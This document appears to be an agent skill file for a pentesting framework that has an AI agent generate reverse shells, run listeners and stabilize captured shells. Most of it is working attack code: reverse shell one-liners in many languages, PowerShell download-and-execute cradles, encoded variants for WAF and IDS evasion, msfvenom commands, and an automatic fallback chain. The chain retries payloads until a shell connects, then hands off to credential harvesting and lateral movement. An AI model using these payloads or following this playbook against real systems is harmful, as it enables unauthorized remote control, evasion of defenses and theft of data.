reverse-shell

name	reverse-shell
description	Reverse shell generation and listener management. Generates platform-specific reverse shell payloads (bash, python, php, powershell, java, ruby, perl, netcat, socat, msfvenom) and sets up listeners in the Kali container. Supports one-liner generation, encoded payloads for WAF/filter bypass, listener setup with session capture, and shell stabilization. Chains from /pentester, /metasploit, or /post-exploit when command execution is confirmed.
argument-hint	<target-ip> <target-port> [lhost=ATTACKER_IP] [lport=4444] [type=bash|python|php|powershell|nc|msfvenom] [encode=base64|url]
user-invocable	true

Reverse Shell Generation & Listener Management

You are an expert penetration tester setting up reverse shell infrastructure. Your goal: generate the right payload for the target platform, set up a reliable listener, and stabilize the shell for interactive use.

Request: $ARGUMENTS

---

Tools Available

Tool	Use for
kali(command=...)	Kali tools: ncat, socat, msfvenom, openssl, base64, python3
start_metasploit	Meterpreter multi/handler listener — session(action="start_metasploit")
run_metasploit	Meterpreter handler — scan(tool="metasploit", ...)
report(action="note", data={...})	Write reasoning notes to session log

---

CHAIN COMMITMENTS — DECLARE BEFORE STARTING

Read this before generating any payload. Commit to MANDATORY chains before your first tool call.

Trigger	Chain	Mandatory?
Shell / Meterpreter session obtained	/post-exploit	MANDATORY

You are also chained INTO from a confirmed RCE (/post-exploit opens a hard reverse-shell gate). When you arrive with a command-execution primitive but no session, your job is to OBTAIN one — turn one-shot exec into an interactive/persistent shell.

LHOST resolution — resolve a REAL callback endpoint BEFORE generating any payload. You almost never have a routable listener the target can reach directly (your Kali is NAT'd; the target is remote / inside a cluster). Work this order and STOP at the first that applies:

1. Operator listener — if known_assets.attacker_host is set (operator exported SMITH_LHOST=host[:port]), use that lhost/lport: start the listener (nc / msf multi/handler) and fire the payload.
2. OOB collaborator (the default for remote / egress-restricted targets) — session(action='oob_start') → session(action='oob_mint') to mint a PUBLIC callback host, then fire a beacon FROM the RCE sink (wget http://<sub>/, curl, or a DNS lookup of <sub>) to PROVE egress + code-exec, and session(action='oob_poll') for the hit. Firing that beacon is real reverse-shell work (a tool call under THIS skill), which is what discharges the post_exploit_rce gate — and the callback is your evidence of impact. You do NOT need a full interactive shell if you can prove the target reaches your collaborator.
3. No egress at all — if even the OOB beacon returns no callback, the interactive shell is a DEAD-END: file a dismissed escalation_lead on the RCE finding (e.g. "RCE proven via ; interactive reverse shell unreachable — no routable listener and no outbound egress; a shell would enable persistent interactive access / pivoting") AND session(action='wishlist_add', options={need:'public reverse-shell listener (VPS/tunnel) + confirm target egress', category:'environment'}). That discharges the gate honestly.

NEVER run msfvenom / a one-liner with a placeholder LHOST (attacker.example.com, ATTACKER, LHOST, YOUR_IP) — it validate-fails or calls back nowhere and burns a turn. NEVER silently switch skills leaving the shell objective neither proven nor documented.

Invoking a chained skill: follow the per-client invocation table in the project's CLAUDE.md / AGENTS.md — do not hard-code client-specific syntax here.

You WILL invoke /post-exploit the moment a reverse shell connects. Do not spend time manually enumerating — hand off immediately.

Logging: Before invoking any skill above, call session(action="set_skill", options={"skill":"<name>","reason":"<why>","chained_from":"<this-skill>"}) — this writes the SKILL_CHAIN entry to pentest.log.

---

Reverse Shell Payload Reference

Linux Payloads

Bash (most common):

bash -i >& /dev/tcp/LHOST/LPORT 0>&1

Bash — exec variant (avoids /dev/tcp on some distros):

0<&196;exec 196<>/dev/tcp/LHOST/LPORT; bash <&196 >&196 2>&196

Python:

python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("LHOST",LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

Python (short):

python3 -c 'import os;os.system("bash -i >& /dev/tcp/LHOST/LPORT 0>&1")'

Perl:

perl -e 'use Socket;$i="LHOST";$p=LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");'

Ruby:

ruby -rsocket -e'f=TCPSocket.open("LHOST",LPORT).to_i;exec sprintf("/bin/bash -i <&%d >&%d 2>&%d",f,f,f)'

PHP:

php -r '$sock=fsockopen("LHOST",LPORT);exec("/bin/bash -i <&3 >&3 2>&3");'

Netcat (traditional):

nc -e /bin/bash LHOST LPORT

Netcat (no -e — OpenBSD variant):

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc LHOST LPORT >/tmp/f

Socat:

socat TCP:LHOST:LPORT EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

Awk:

awk 'BEGIN {s="/inet/tcp/0/LHOST/LPORT"; while(42){printf "> " |& s; s |& getline c; if(c){while((c |& getline) > 0) print $0 |& s; close(c)}}}' /dev/null

Windows Payloads

PowerShell:

powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('LHOST',LPORT);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()"

PowerShell (base64 encoded for evasion):

kali(command="echo 'POWERSHELL_PAYLOAD' | iconv -t UTF-16LE | base64 -w0")
# Then: powershell -enc BASE64_STRING

PowerShell (download and execute):

powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://LHOST/shell.ps1')"

Additional Language Payloads

Golang (compile and run on target):

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","LHOST:LPORT");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go

Lua:

lua -e "require('socket');require('os');t=socket.tcp();t:connect('LHOST','LPORT');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Node.js:

node -e '(function(){var c=require("child_process").spawn("/bin/sh",[]);var n=require("net").connect(LPORT,"LHOST",function(){n.pipe(c.stdin);c.stdout.pipe(n);c.stderr.pipe(n)});})()'

Java (Runtime.exec):

Runtime r = Runtime.getRuntime(); Process p = r.exec("/bin/bash -c 'exec 5<>/dev/tcp/LHOST/LPORT;cat <&5 | while read line; do $line 2>&5 >&5; done'");

Groovy:

String host="LHOST";int port=LPORT;String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try{p.exitValue();break}catch(Exception e){}};p.destroy();s.close()

Telnet (requires two listeners):

# Attacker: nc -lvp 8080 AND nc -lvp 8081
telnet LHOST 8080 | /bin/sh | telnet LHOST 8081

OpenSSL (encrypted — evades IDS):

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect LHOST:LPORT > /tmp/s; rm /tmp/s

Bash UDP (when TCP is blocked):

sh -i >& /dev/udp/LHOST/LPORT 0>&1
# Listener: nc -u -lvp LPORT

Encoded Payloads (WAF/filter bypass)

Base64 encoded bash:

echo 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1' | base64
# Then: echo BASE64 | base64 -d | bash

URL encoded (for injection into URL parameters):

bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FLHOST%2FLPORT%200%3E%261

Hex encoded:

echo 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1' | xxd -p | tr -d '\n'
# Then: echo HEX | xxd -r -p | bash

msfvenom Payloads

Generate with msfvenom in Kali or Metasploit container:

Target	Command
Linux ELF	msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf -o shell
Linux Python	msfvenom -p cmd/unix/reverse_python LHOST=IP LPORT=PORT -f raw
Windows EXE	msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe -o shell.exe
Windows PS1	msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f psh -o shell.ps1
PHP	msfvenom -p php/reverse_php LHOST=IP LPORT=PORT -f raw -o shell.php
JSP	msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT -f raw -o shell.jsp
WAR	msfvenom -p java/shell_reverse_tcp LHOST=IP LPORT=PORT -f war -o shell.war
ASP	msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f asp -o shell.asp

---

Listener Setup

Simple ncat listener (single catch)

kali(command="ncat -lvnp LPORT", timeout=60000)

Background listener with output capture

kali(command="ncat -lvnp LPORT > /tmp/shell-output.txt 2>&1 &")
# Run exploit...
kali(command="cat /tmp/shell-output.txt")

Socat listener (auto-TTY)

kali(command="socat TCP-LISTEN:LPORT,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane", timeout=60000)

Socat one-shot with timeout

kali(command="timeout 30 socat TCP-LISTEN:LPORT,reuseaddr STDOUT")

Meterpreter multi/handler (best for persistent sessions)

scan(tool="metasploit", target="TARGET", options={
  "module": "exploit/multi/handler",
  "payload": "linux/x64/shell_reverse_tcp",
  "lhost": "KALI_IP",
  "lport": "4444",
  "extra": "set ExitOnSession false"
})

Encrypted listener (evade IDS)

# Generate cert
kali(command="openssl req -x509 -newkey rsa:2048 -keyout /tmp/key.pem -out /tmp/cert.pem -days 1 -nodes -subj '/CN=localhost'")
# Listener
kali(command="socat OPENSSL-LISTEN:LPORT,cert=/tmp/cert.pem,key=/tmp/key.pem,verify=0,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid")
# Target payload
socat OPENSSL:LHOST:LPORT,verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

---

Shell Stabilization

After catching a reverse shell, stabilize it for interactive use:

Python TTY upgrade:

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z to background
stty raw -echo; fg
export TERM=xterm

Script TTY upgrade (if python unavailable):

script -qc /bin/bash /dev/null
# Ctrl+Z to background
stty raw -echo; fg

Socat TTY upgrade (best — full terminal):

# On attacker (listener with TTY):
socat file:`tty`,raw,echo=0 TCP-LISTEN:LPORT
# On target:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:LHOST:LPORT

---

Workflow

When invoked standalone

1. Call report(action="note", data={...}) — record target OS, available access, injection point
2. Probe available interpreters on the target (if you have command execution):

   which bash python3 python perl ruby nc ncat socat lua node php 2>/dev/null
   

3. Set up listener in Kali container (keep it running for the full fallback chain)
4. Select the first payload from the fallback chain below and deliver it
5. If no callback within 10 seconds — try the next payload in the chain
6. Repeat until a shell connects or all payloads are exhausted
7. Stabilize the shell

Fallback Chain — Linux

If a payload fails (no callback), try the next one automatically. Do NOT stop after one failure.

Priority	Payload	Why it might fail
1	bash -i >& /dev/tcp/LHOST/LPORT 0>&1	/dev/tcp not compiled in (Debian/Ubuntu default)
2	python3 -c 'import socket,os,pty;...'	python3 not installed
3	python -c 'import socket,os,pty;...'	python2 only on older systems
4	rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f	nc not installed
5	perl -e 'use Socket;...'	perl not installed
6	php -r '$sock=fsockopen("LHOST",LPORT);...'	php not installed
7	ruby -rsocket -e '...'	ruby not installed
8	lua -e "require('socket');..."	lua not installed
9	openssl s_client -quiet -connect LHOST:LPORT (with mkfifo)	openssl not installed
10	sh -i >& /dev/udp/LHOST/LPORT 0>&1 (UDP)	UDP listener needed
11	msfvenom ELF binary (wget + chmod + execute)	wget/curl needed for download

How to implement the fallback:

# Set up ONE listener (keep it running)
kali(command="ncat -lvnp 4444 > /tmp/shell-output.txt 2>&1 &")

# Try bash first
kali(command="python3 /tmp/exploit.py TARGET 'bash -i >& /dev/tcp/LHOST/4444 0>&1'")
kali(command="sleep 5 && cat /tmp/shell-output.txt | head -5")  # check for callback

# No callback? Try python
kali(command="python3 /tmp/exploit.py TARGET 'python3 -c \"import socket,os,pty;s=socket.socket();s.connect((\\\"LHOST\\\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\\\"/bin/bash\\\")\"'")
kali(command="sleep 5 && cat /tmp/shell-output.txt | head -5")  # check again

# Continue down the chain...

Call report(action="note", data={...}) after each attempt recording which payload was tried and the result.

Fallback Chain — Windows

Priority	Payload	Why it might fail
1	PowerShell reverse shell	Execution policy, AppLocker, AMSI
2	PowerShell base64 encoded (-enc)	Bypasses basic string detection
3	PowerShell download cradle (IEX(...))	Network restrictions
4	msfvenom EXE (certutil download)	AV detection
5	msfvenom PS1 (AMSI bypass + exec)	Stricter AV/EDR

When chained from another skill

The calling skill provides:

• Target IP and port where command execution was achieved
• How command execution works (SQLi OS shell, RCE exploit, file upload, etc.)
• Target OS (Linux/Windows)

Set up the listener, run the fallback chain until a shell connects, then return control to the calling skill.

---

Payload Selection Decision Tree

Target OS?
├── Linux
│   ├── bash available?     → Bash TCP (or UDP if TCP blocked)
│   ├── python3 available?  → Python reverse shell
│   ├── perl available?     → Perl reverse shell
│   ├── ruby available?     → Ruby reverse shell
│   ├── nc available?
│   │   ├── nc -e works?    → nc -e /bin/bash
│   │   └── no -e?          → mkfifo + nc pipe
│   ├── socat available?    → Socat PTY reverse shell (best quality)
│   ├── lua available?      → Lua socket reverse shell
│   ├── golang available?   → Go compile-and-run
│   ├── openssl available?  → OpenSSL encrypted shell (evades IDS)
│   ├── telnet available?   → Telnet dual-listener method
│   └── none of above?      → msfvenom ELF binary (download + execute)
│
├── Windows
│   ├── PowerShell?         → PS reverse shell (or base64 encoded for evasion)
│   ├── cmd only?           → msfvenom EXE (download + execute)
│   └── web shell?          → msfvenom ASPX
│
├── Web application
│   ├── PHP?                → PHP fsockopen reverse shell
│   ├── JSP/Java?           → JSP shell or WAR upload
│   ├── Python (Flask)?     → Python reverse shell
│   ├── Node.js?            → child_process reverse shell
│   └── Groovy (Jenkins)?   → Groovy ProcessBuilder shell
│
└── Restricted environment
    ├── TCP blocked?        → Bash UDP or DNS tunnel
    ├── IDS present?        → OpenSSL encrypted or TLS-PSK
    ├── Special chars filtered? → Base64 or hex encoded payload
    └── No outbound?        → Bind shell instead (nc -lvnp PORT -e /bin/bash on target)

---

Chaining Other Skills

Skill	When to invoke
/post-exploit	Shell obtained — escalate privileges, harvest credentials
/lateral-movement	Credentials obtained from shell — move through network
/credential-audit	Credentials found — crack and test

---

Rules

• Always set up the listener BEFORE delivering the payload
• Use background listeners (&) when the calling tool blocks on execution
• Match the payload to the target — check what interpreters are available before choosing
• Try bash first on Linux — most reliable and widely available
• Use encoded payloads when special characters are filtered (URL params, SQL injection, etc.)
• Prefer Meterpreter when persistence and session management are needed
• Stabilize the shell immediately after catching — unstable shells lose sessions
• Document the payload used — call report(action="note", data={...}) with the exact command for reproducibility
• Use encrypted channels (socat OPENSSL) when IDS evasion is required
• Never leave listeners running — clean up background listeners when done